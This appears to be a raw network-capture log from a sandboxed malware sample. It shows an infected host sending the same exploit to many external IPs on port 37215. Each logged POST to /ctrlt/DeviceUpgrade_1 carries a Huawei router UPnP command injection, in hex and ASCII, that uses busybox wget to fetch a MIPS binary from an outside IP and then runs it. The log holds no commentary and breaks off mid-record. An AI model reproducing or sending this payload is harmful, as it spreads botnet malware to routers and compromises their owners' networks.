Sep 25, 2024 14:14:10.072860956 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	44062	41.177.1.74	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.074795961 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	37646	156.39.222.238	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.076742887 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	33496	156.190.179.85	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.078262091 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	37068	41.114.110.174	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.080269098 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	58588	41.89.167.118	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.082026958 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	44828	156.135.251.155	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.084240913 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	42856	197.58.228.114	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.086287022 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	41444	41.165.106.77	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.089024067 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	52532	197.73.214.226	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.091063976 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	60920	41.134.91.195	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.092488050 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 